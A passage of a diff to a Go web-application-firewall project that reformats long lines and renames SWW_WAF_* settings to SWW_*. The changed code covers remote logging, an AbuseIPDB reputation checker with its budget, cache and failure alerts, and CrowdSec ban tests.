// depends on when the endpoint's host answers that the connection is
|
// depends on when the endpoint's host answers that the connection is
|
||||||
// gone.
|
// gone.
|
||||||
func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
|
func writeUntilDropped(
|
||||||
|
t *testing.T,
|
||||||
|
sender *remotelog.Sender,
|
||||||
|
dropped int64,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for sender.Dropped() < dropped {
|
for sender.Dropped() < dropped {
|
||||||
@@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
err := json.Unmarshal([]byte(line), &fields)
|
||||||
if err != nil || fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
|
if err != nil ||
|
||||||
|
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||||
t.Fatalf("logged %q", line)
|
t.Fatalf("logged %q", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if !slices.Equal(got, delays) {
|
if !slices.Equal(got, delays) {
|
||||||
t.Errorf("logged failures to connect again in %v, want %v", got, delays)
|
t.Errorf(
|
||||||
|
"logged failures to connect again in %v, want %v",
|
||||||
|
got,
|
||||||
|
delays,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -618,8 +689,10 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
|||||||
IsCA: true,
|
IsCA: true,
|
||||||
BasicConstraintsValid: true,
|
BasicConstraintsValid: true,
|
||||||
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
||||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
ExtKeyUsage: []x509.ExtKeyUsage{
|
||||||
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
|
x509.ExtKeyUsageServerAuth,
|
||||||
|
},
|
||||||
|
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
|
||||||
}
|
}
|
||||||
|
|
||||||
der, err := x509.CreateCertificate(rand.Reader, template, template,
|
der, err := x509.CreateCertificate(rand.Reader, template, template,
|
||||||
@@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
|||||||
roots := x509.NewCertPool()
|
roots := x509.NewCertPool()
|
||||||
roots.AddCert(certificate)
|
roots.AddCert(certificate)
|
||||||
|
|
||||||
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
|
return tls.Certificate{
|
||||||
|
Certificate: [][]byte{der},
|
||||||
|
PrivateKey: key,
|
||||||
|
}, roots
|
||||||
}
|
}
|
||||||
@@ -56,17 +56,17 @@ type ChecksSpent struct {
|
|||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||||
type AbuseIPDBParams struct {
|
type AbuseIPDBParams struct {
|
||||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||||
// the account's key (SWW_WAF_ABUSEIPDB_KEY).
|
// the account's key (SWW_ABUSEIPDB_KEY).
|
||||||
URL string
|
URL string
|
||||||
Key string
|
Key string
|
||||||
// MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
|
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
|
||||||
// and DailyBudget the most checks made in a day, in UTC
|
// and DailyBudget the most checks made in a day, in UTC
|
||||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
||||||
MinScore int64
|
MinScore int64
|
||||||
DailyBudget int
|
DailyBudget int
|
||||||
// CacheTTL is how long a score is used after it was fetched
|
// CacheTTL is how long a score is used after it was fetched
|
||||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
// (SWW_REPUTATION_TIMEOUT).
|
||||||
CacheTTL time.Duration
|
CacheTTL time.Duration
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -260,7 +260,11 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
|
|||||||
// the score as client's, and notes the check as no longer under way. A
|
// the score as client's, and notes the check as no longer under way. A
|
||||||
// check that fails gives no score: it is counted, logged and raised as a
|
// check that fails gives no score: it is counted, logged and raised as a
|
||||||
// source_failure alert, and no client is checked for failureDelay.
|
// source_failure alert, and no client is checked for failureDelay.
|
||||||
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
func (a *AbuseIPDB) check(
|
||||||
|
ctx context.Context,
|
||||||
|
client netip.Prefix,
|
||||||
|
addr netip.Addr,
|
||||||
|
) {
|
||||||
score, err := a.ask(ctx, addr)
|
score, err := a.ask(ctx, addr)
|
||||||
now := a.params.Now()
|
now := a.params.Now()
|
||||||
|
|
||||||
@@ -269,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
|
|||||||
delete(a.checking, client)
|
delete(a.checking, client)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
|
a.scores.Add(
|
||||||
|
client,
|
||||||
|
Score{Client: client, Score: score, Fetched: now},
|
||||||
|
)
|
||||||
} else {
|
} else {
|
||||||
a.failures++
|
a.failures++
|
||||||
a.retryAt = now.Add(failureDelay)
|
a.retryAt = now.Add(failureDelay)
|
||||||
@@ -285,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
|
|||||||
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
||||||
// in the header Key. An answer other than 200, one that gives no score,
|
// in the header Key. An answer other than 200, one that gives no score,
|
||||||
// and none within Timeout, fail.
|
// and none within Timeout, fail.
|
||||||
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
|
func (a *AbuseIPDB) ask(
|
||||||
|
ctx context.Context,
|
||||||
|
addr netip.Addr,
|
||||||
|
) (int64, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
@@ -321,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
|
|||||||
} `json:"data"`
|
} `json:"data"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
|
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
|
||||||
|
Decode(&answer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("read the answer: %w", err)
|
return 0, fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
@@ -339,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) {
|
|||||||
// Raised before it is logged, so that the alert is there once the log
|
// Raised before it is logged, so that the alert is there once the log
|
||||||
// line is.
|
// line is.
|
||||||
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
||||||
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
|
a.params.ProcessLog.Warn(
|
||||||
|
reason,
|
||||||
|
"source",
|
||||||
|
AbuseIPDBSource,
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
@@ -41,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
// A client that has committed no offence is not checked.
|
// A client that has committed no offence is not checked.
|
||||||
@@ -60,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
|
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -68,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.
|
|||||||
// it of its own.
|
// it of its own.
|
||||||
var addresses []string
|
var addresses []string
|
||||||
for i := 1; i < 16; i++ {
|
for i := 1; i < 16; i++ {
|
||||||
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
|
addresses = append(
|
||||||
|
addresses,
|
||||||
|
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{addresses[0]: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
// A request from each has the client checked once, by the first.
|
// A request from each has the client checked once, by the first.
|
||||||
@@ -96,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
|
scores := map[string]int64{
|
||||||
|
"192.0.2.74": 74,
|
||||||
|
"192.0.2.75": 75,
|
||||||
|
"192.0.2.100": 100,
|
||||||
|
}
|
||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.MinScore = 75
|
p.MinScore = 75
|
||||||
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
||||||
@@ -117,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
||||||
|
|
||||||
hitFrom(t, checker, suspect, true)
|
hitFrom(t, checker, suspect, true)
|
||||||
@@ -141,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -152,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|||||||
p.DailyBudget = 3
|
p.DailyBudget = 3
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// At noon, the first three offenders spend the budget, and the
|
// At noon, the first three offenders spend the budget, and the
|
||||||
@@ -173,8 +192,14 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|||||||
// The check that used the budget up raised the alert, and logged it.
|
// The check that used the budget up raised the alert, and logged it.
|
||||||
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
||||||
|
|
||||||
wantFailureAlert(t, queue, time.Now(), usedUp,
|
wantFailureAlert(
|
||||||
"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
|
t,
|
||||||
|
queue,
|
||||||
|
time.Now(),
|
||||||
|
usedUp,
|
||||||
|
"3 checks spent; none is made until the day ends at 00:00 UTC",
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
||||||
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
||||||
@@ -214,7 +239,9 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
|
|||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.DailyBudget = 1
|
p.DailyBudget = 1
|
||||||
p.Now = func() time.Time { return time.Now().In(ahead) }
|
p.Now = func() time.Time { return time.Now().In(ahead) }
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// At 09:00 UTC the one check is spent.
|
// At 09:00 UTC the one check is spent.
|
||||||
@@ -238,7 +265,9 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -282,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
p.Key = tc.key
|
p.Key = tc.key
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
status: tc.status,
|
||||||
|
body: tc.body,
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
|
|
||||||
// The failure gives no score, and no client is checked within a
|
// The failure gives no score, and no client is checked within a
|
||||||
@@ -310,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
||||||
"checking a client with AbuseIPDB failed", tc.error, 1)
|
"checking a client with AbuseIPDB failed", tc.error, 1)
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"checking a client with `+
|
if !strings.Contains(
|
||||||
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"checking a client with `+
|
||||||
|
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -319,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
|
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -346,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
|
|||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFailures(t, checker, 1)
|
wantFailures(t, checker, 1)
|
||||||
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
|
wantFailureAlert(
|
||||||
"check the client: context deadline exceeded", 0)
|
t,
|
||||||
|
queue,
|
||||||
|
time.Now(),
|
||||||
|
"checking a client with AbuseIPDB failed",
|
||||||
|
"check the client: context deadline exceeded",
|
||||||
|
0,
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -361,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
p := abuseIPDBParams()
|
p := abuseIPDBParams()
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
abuseIPDB := &abuseIPDBStandIn{
|
||||||
|
scores: map[string]int64{suspect: 100},
|
||||||
|
}
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
m.AddReputation(
|
||||||
|
reputation.New(params()),
|
||||||
|
reputation.NewDNSBL(dnsblParams()),
|
||||||
|
)
|
||||||
m.AddAbuseIPDB(checker)
|
m.AddAbuseIPDB(checker)
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one it refuses with an answer
|
// One check that AbuseIPDB answers, and one it refuses with an answer
|
||||||
@@ -373,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantScore(t, checker, suspect, true, 100, true)
|
wantScore(t, checker, suspect, true, 100, true)
|
||||||
|
|
||||||
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
|
abuseIPDB.answerWith(
|
||||||
|
http.StatusUnauthorized,
|
||||||
|
`{"errors":[{"detail":"`+key+`"}]}`,
|
||||||
|
)
|
||||||
wantScore(t, checker, other, true, 0, false)
|
wantScore(t, checker, other, true, 0, false)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFailures(t, checker, 1)
|
wantFailures(t, checker, 1)
|
||||||
@@ -416,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
|
|||||||
p.DailyBudget = 5
|
p.DailyBudget = 5
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
checker := newAbuseIPDB(abuseIPDB, p)
|
||||||
m := metrics.New(1, "app")
|
m := metrics.New(1, "app")
|
||||||
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
m.AddReputation(
|
||||||
|
reputation.New(params()),
|
||||||
|
reputation.NewDNSBL(dnsblParams()),
|
||||||
|
)
|
||||||
m.AddAbuseIPDB(checker)
|
m.AddAbuseIPDB(checker)
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one that fails.
|
// One check that AbuseIPDB answers, and one that fails.
|
||||||
@@ -472,7 +526,9 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -501,7 +557,10 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
|
|||||||
got := checker.Snapshot()
|
got := checker.Snapshot()
|
||||||
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
||||||
slices.Contains(got, scores[count-1]) {
|
slices.Contains(got, scores[count-1]) {
|
||||||
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
|
t.Errorf(
|
||||||
|
"%d scores kept, want all but the one fetched longest ago",
|
||||||
|
len(got),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -522,7 +581,9 @@ type abuseIPDBStandIn struct {
|
|||||||
|
|
||||||
// RoundTrip has the stand-in answer req, in place of the network. A check
|
// RoundTrip has the stand-in answer req, in place of the network. A check
|
||||||
// abandoned before the stand-in answers fails, as over the network.
|
// abandoned before the stand-in answers fails, as over the network.
|
||||||
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
func (s *abuseIPDBStandIn) RoundTrip(
|
||||||
|
req *http.Request,
|
||||||
|
) (*http.Response, error) {
|
||||||
client := req.URL.Query().Get("ipAddress")
|
client := req.URL.Query().Get("ipAddress")
|
||||||
sent := req.Header.Get("Key")
|
sent := req.Header.Get("Key")
|
||||||
|
|
||||||
@@ -542,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error)
|
|||||||
status = http.StatusUnauthorized
|
status = http.StatusUnauthorized
|
||||||
case status == 0:
|
case status == 0:
|
||||||
status = http.StatusOK
|
status = http.StatusOK
|
||||||
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
|
body = fmt.Sprintf(
|
||||||
score)
|
`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
|
||||||
|
client,
|
||||||
|
score,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return &http.Response{
|
return &http.Response{
|
||||||
@@ -603,15 +667,25 @@ func newAbuseIPDB(
|
|||||||
// wantScore checks the score checker gives client, and whether it is a
|
// wantScore checks the score checker gives client, and whether it is a
|
||||||
// hit, as a request from client finds them, offender or not.
|
// hit, as a request from client finds them, offender or not.
|
||||||
func wantScore(
|
func wantScore(
|
||||||
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
|
t *testing.T,
|
||||||
score int64, hit bool,
|
checker *reputation.AbuseIPDB,
|
||||||
|
client string,
|
||||||
|
offender bool,
|
||||||
|
score int64,
|
||||||
|
hit bool,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
||||||
if gotScore != score || gotHit != hit {
|
if gotScore != score || gotHit != hit {
|
||||||
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
|
t.Errorf(
|
||||||
score, hit)
|
"%s has the score %d, a hit %t, want %d, %t",
|
||||||
|
client,
|
||||||
|
gotScore,
|
||||||
|
gotHit,
|
||||||
|
score,
|
||||||
|
hit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -619,7 +693,10 @@ func wantScore(
|
|||||||
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
||||||
// as sww counts clients.
|
// as sww counts clients.
|
||||||
func hitFrom(
|
func hitFrom(
|
||||||
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
|
t *testing.T,
|
||||||
|
checker *reputation.AbuseIPDB,
|
||||||
|
address string,
|
||||||
|
offender bool,
|
||||||
) (int64, bool) {
|
) (int64, bool) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -663,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
|
|||||||
// the error failure, and that the cooldown has held back held repeats of
|
// the error failure, and that the cooldown has held back held repeats of
|
||||||
// it.
|
// it.
|
||||||
func wantFailureAlert(
|
func wantFailureAlert(
|
||||||
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
|
t *testing.T,
|
||||||
|
queue *alerts.Queue,
|
||||||
|
raised time.Time,
|
||||||
|
reason, failure string,
|
||||||
held int64,
|
held int64,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -673,8 +753,15 @@ func wantFailureAlert(
|
|||||||
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
||||||
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
||||||
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
t.Errorf(
|
||||||
"and %d", got, queue.Suppressed(), reason, failure, held)
|
"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
||||||
|
"and %d",
|
||||||
|
got,
|
||||||
|
queue.Suppressed(),
|
||||||
|
reason,
|
||||||
|
failure,
|
||||||
|
held,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -692,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
m.ServeHTTP(
|
||||||
http.NoBody))
|
scraped,
|
||||||
|
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
||||||
|
http.NoBody),
|
||||||
|
)
|
||||||
|
|
||||||
return scraped.Body.String()
|
return scraped.Body.String()
|
||||||
}
|
}
|
||||||
@@ -37,7 +37,9 @@ const (
|
|||||||
rangeScope = "Range"
|
rangeScope = "Range"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
|
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
|
|||||||
// A shorter decision on the same address, which is not the one
|
// A shorter decision on the same address, which is not the one
|
||||||
// used.
|
// used.
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
||||||
